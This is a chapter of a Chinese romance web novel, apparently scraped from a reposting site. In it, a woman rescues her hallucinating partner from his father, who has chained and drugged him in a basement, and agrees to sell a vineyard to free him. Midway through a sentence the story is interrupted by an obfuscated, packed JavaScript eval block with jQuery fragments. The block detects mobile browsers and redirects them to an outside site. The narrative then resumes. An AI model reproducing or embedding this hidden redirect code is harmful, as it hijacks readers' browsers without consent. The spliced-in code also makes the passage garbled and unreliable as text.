50. Chapter 50

作品:《他很危险

    贺兰念走到程回身边,程回目光很淡看了她一眼,没有理会,朝着下一个路灯走去。


    心中五味杂陈体味了遍,贺兰念让李折先回去了,她跟在程回身后三步远的地方,陪着他走。


    走了大约两三个小时,程回突然回头看向贺兰念。


    他似有话要讲,贺兰念随即停下脚步。


    程回像是在跟谁赌气般,对贺兰念说:“我不想你跟着我。”


    “......为什么?”


    “贺兰念都没有陪我散步。”程回说。


    贺兰念想了一下,才搞懂这句话的逻辑——程回认为的那个“真的”贺兰念没有答应跟他散步,所以,她这个“假的”,更没有资格。


    “你不能把我当成她吗?”贺兰念道,“我们长得一样。”


    “......你不是她。这个世界上没有第二个贺兰念。”


    贺兰念沉默的看着程回,挣扎了片刻,她决定把事实戳破。


    “程回,你出现幻觉了。”


    “你就是——”幻觉。


    贺兰念截住程回要说的话,反驳道:“我不是幻觉。”


    听清贺兰念的话,程回的脸扭曲了下。


    “是你一直把我当成幻觉。”贺兰念继续把事实灌进程回的大脑,她试图打破他现有的认知,让他回到正常认知,虽然她不知道这样是否有用。


    路灯下,程回的影子被无限拉长,他孑然一身站在那一小处光亮,似乎要跟漫天的黑暗对抗,他把所有的弱点和脆弱藏起来,不屈又孤勇。


    贺兰念心中似被千万个针扎般刺痛,她走过去,抱住程回。


    “程回,出现幻觉没什么大不了的。”贺兰念的声音温柔又坚定,仿佛带着无穷的信仰力,“身体有疾病和精神有疾病都是正常的现象,每个人都会生病的。”


    “程回,你会痊愈的。”贺兰念唇角微弯,“我保证,好不好?”


    良久......


    程回像是相信了贺兰念的话,又像是强迫自己接受了贺兰念的话。


    “你真的是贺兰念?”


    “真的。”


    片刻,一滴清凉的水滴落在贺兰念鬓角,意识到那是什么,贺兰念浑身僵住。


    下一秒,她被程回紧紧抱住,似要用尽余生的力气。


    “......你怎么保证?”程回声音闷闷的。


    贺兰念想了一下,“那就跟你说一定会跟我结婚那样的笃定吧。”


    “......”


    贺兰念不确定程回是不是笑了声......那抹气音般的轻笑,却让她酸涩肿胀的心瞬间明亮、明媚。


    贺兰念不敢想象,程回竟然已经对她影响至此......


    他的哀伤让她如坠地狱,他的一个笑又能瞬间解救她......


    几乎认命般,贺兰念叹了一口气。


    “贺兰念,我们一定会结婚。”程回再次重申。


    这一次,贺兰念没有拒绝,她轻“嗯”了声。


    “好。我会期待。”


    *


    贺兰念知道,程回并没有从幻觉中走出来,而且,如果他出现记忆错乱,有可能忘记之前发生的事,也再次忘记她就是真实的贺兰念。


    她不敢去卧室睡觉,一直坐在客厅的沙发上,寸步不离的守着程回,连着两天,她几乎没有睡觉,最后实在支撑不住无意识睡着。


    醒来时程回再次不见了!


    这一次,贺兰念从早上六点找到晚上八点,没有找到程回。


    她把手机打到没电,始终无人接听。


    李折和赵幸北也动用了他们所有的关系找程回,翻了整座城,一无所获。


    晚上九点,贺兰念给手机充上电不久,接到程英纵的电话。


    魏梁来接的贺兰念,车驶到半路,天空开始下雨,暴雨拢成天幕压下来,让人心无端的不安。


    车子停在一个维多利亚风格的老式庄园里面,复古的建筑笼罩在雨雾里。


    贺兰念跟在魏梁身后,通过阴暗的长阶梯,来到一个灯光昏暗的地下室,大概是下雨的缘故,地下室里潮湿又闷热,带着一股陈旧的霉气,让人很不舒服。


    魏梁把贺兰念请进地下室一间单独的铁皮房,铁皮生着锈,里面摆满了冰冷的医疗设备,还有许多类似刑具的“工具”......看着这些诡异的机械,贺兰念手指不自觉攥紧,触到被她握在手里的手机,发出一道微光。


    在魏梁的示意下,贺兰念扭头,看向这间“房”唯一一块大约2*1m的长方形“玻璃”。


    玻璃出现画面的那一刻,贺兰念陡然意识到这不是玻璃,而是一块电子屏。


    而屏幕上的画面,第一眼就让贺兰念全身发寒,脸瞬间没了血色。


    程回半跪在地上,一只手被铁链锁住挂在墙上,另外一只手插着输液管,里面正流着某种透明液体,裸露在外的肌肤没有丝毫血色,皮肤白到透明。


    在惨白的灯光下,有种荒靡的诡丽感。


    距离程回三四米的地上躺着一个女人,程英纵一把抓住女人的头发,女人没有知觉般垂着头,瘦弱的脖颈弯成一道脆弱的弧线,很快又被程英纵狠狠丢在地上,骨肉与水泥地发出一声钝响。


    程英纵踱着步,皮鞋在水泥地上发出有规律的叩响,每响一下,女人身体就害怕的剧烈抖动一下......


    “程回,我是不是对你太放任了,所以让你忘了这感觉?不过......”程英纵手里捏着一个针管,他放在眼前欣赏着,面露满意的神色,“这是最新款的神经阻断剂,据说比几年前进步不少,效果也更好,能让你看到......更真实的幻觉。”


    生气,或者挣扎,都没有出现,程回的状态像没有生命力般颓废灰败。


    他一个人,独在深渊。


    头顶的照灯把程英纵的身影无限拉长,覆在程回不断战栗的脊背上。


    输液管的药物在他身体里起作用,听到程英纵的话,程回插着针管的手微弱动了下,喉咙发出嘶哑破碎像破风箱的声音,组连不起一句完整的话。


    程英纵走到程回身边,他的脸在直射的灯光下泛着青灰,手中的针头闪烁着刺目的光点,声音黏在潮湿的空间,似恶魔低吼。


    “你应该知道我最讨厌不受控制,你是觉得自己翅膀硬了?敢忤逆我了?程回,自由是需要付出代价的,逃避可解决不了问题。”


    程回低垂着眼帘,浓密的睫毛在听到程英纵话后颤了下。


    毫无抵抗,针管对着程回的侧颈扎下去——


    就在这时,一只细瘦素白的手闪现般,一把握住针管!因为握得太紧,指节泛白,手掌控制不住颤抖,另外一只垂着的手紧紧握着手机,似乎用极大的意志力让自己冷静......


    “表演到这里就可以了。”


    清冷的声音似带着凉意刮过闷热的地下室,几乎瞬间荡去沉闷和阴霾,像是义无反顾的救赎,让人心头震动。


    程英纵看向贺兰念,恨意不可隐藏。


    贺兰念脸上血色还没有恢复,看向程英纵的眼神却明亮又坚毅,没有一丝胆怯。


    “你三番两次让魏梁和程净先后试探我对程回的感情,没有得到预期的结果,便又用这个场景......继续试探。”


    贺兰念说得冷静无比,怒意被隐藏在又沉又稳的声音里,“现在你看到我的反应了。所以,到这里就可以了!”


    半晌,程英纵咬着牙道:“你果然很聪明。”


    巨大的悲伤在贺兰念身体里流窜,她无法消解,只剩下疼痛。


    “聪明的前提是无情才有用。”


    贺兰念深吸一口气,她能猜到程英纵的行事逻辑和目的,她只是想守护自己的东西,讨厌被人戏耍欺骗,讨厌被程英纵这样的人掌控命运,她口口声声说着不爱程回......却还是败在自己的感情上。


    她又怎么算得上聪明。


    贺兰念看着程英纵,“钥匙。”


    事已至此,贺兰念已经妥协,程英纵的目的也已达成,他看了一眼魏梁,示意魏梁解开程回。


    魏梁拿出钥匙,打开程回身上的锁。


    没了手腕的吊力,程回颓然往下倒,贺兰念一把抱住他,伸手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046037|178195||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拔掉他手背上的针管。


    程回的手是冰冷的,脸也是冰冷的,一身虚汗,药物的作用让他全身止不住的抽搐战栗,贺兰念克制着自己指尖的颤抖抚着程回的脸颊。


    “程回?程回?”贺兰念眼眶发酸,“先别睡好不好,你坚持一下,待会再睡......”


    程回额头被冷汗打湿,脸色苍白,他努力挣开眼看向贺兰念,然视线前一层水幕,只能看到一片虚影,这让他安全感骤减。


    他的脸靠在贺兰念脖颈,气弱声嘶,气息时断时续,“贺...兰...念...是...你...吗?”


    贺兰念立马道:“是我!”


    她凑到程回耳边,用坚定的声音对程回说:“程回你记住,你很好,很好很好,很健康也很正常......所以,相信自己的感觉,你说你一直都会很清醒,你能分辨幻觉的!”


    回应贺兰念的是程回颤抖的闷哼,他汲取温暖般往贺兰念身上靠了靠,僵硬抽搐的手紧紧抓住贺兰念的手臂。


    贺兰念把程回扶起来。


    “我们现在就离开这里,很快就会......到家。”


    “你是不是忘记了什么事?”程英纵冰冷的声音在地下室响起。


    魏梁错身拦在贺兰念身前。


    贺兰念当然知道程英纵说的是什么事——葡萄园,是她从这里带走程回的条件。


    葡萄园......不过是葡萄园......


    再珍贵,在人命面前,又有什么值得不值得呢......


    闭了下眼,贺兰念说出程英纵想听的话:“我可以卖掉葡萄园。”


    “不过,我有条件。”贺兰念很快道。


    程英纵冷笑一声:“我也有条件。”


    “......”贺兰念沉声不容拒绝道,“明天我会来找你。”


    她现在只想带程回回家。


    贺兰念命令般的语气瞬间激起程英纵的怒火,“明天?你觉得我会等到——”


    “您走到这个位置,应该已经足够自信。”程英纵含怒的声音被贺兰念淡声打断,“所以,实在不必害怕我跑掉。”


    “......”


    这句话不无嘲讽,程英纵怎么会听不出来,他恶狠狠盯着贺兰念的背影,一口气堵在胸口不上不下,看着贺兰念带着程回离开。


    屋外,李折带着保镖跟程家新换的保镖对峙,看见贺兰念带着程回出来,他立马跑过去接过程回,跟贺兰念一起把程回放到车上。


    车子启动,程家新来的保镖想拦,李折骂了一声,一脚油门下去,顶级豪车以极快的速度启动,所有人瞬间闪开。


    还未回到酒店,程回彻底昏睡过去。


    送别李折,贺兰念回到卧室,她走到床边,慢慢蹲下,眨眼不错的盯着床上程回熟睡的脸,他脸上旧伤未消,眉头却少见舒展着,不知是不是潜意识知道有人在守着他.....


    他毫无防备,睡颜近乎纯真。


    看着程回的睡颜,贺兰念好像明白为什么他笑起来总会带出羞意......


    贺兰念忍不住想,如果程回按照他原本的生活轨迹,一直跟他妈妈一起生活,没有遇到程英纵,会是什么样子?


    应该有点傲娇?桀骜?


    有点腹黑?嘴毒?


    还应该很会撒娇惹人心软......


    但笑起来总会羞涩又明媚......


    贺兰念伸手描摹着程回精致华丽的眉眼,过了会儿,她起身离开,再回来时手里拿着两条湿润的热毛巾。


    在床边站了片刻,贺兰念伸手,解开程回的衣领......


    ......


    收拾好程回,贺兰念自己强撑着精神去洗了个澡,回到卧室,她看着程回,害怕他幻觉没消失又跑掉,又出去翻了条绳子。


    把程回跟床绑在一起......似乎,有点伤人自尊?


    贺兰念想着既尊重程回,又能把他绑住不乱跑的方法,最后看向自己的手腕......


    把自己和程回的手腕绑到一起后,贺兰念几乎昏倒在程回身边睡去。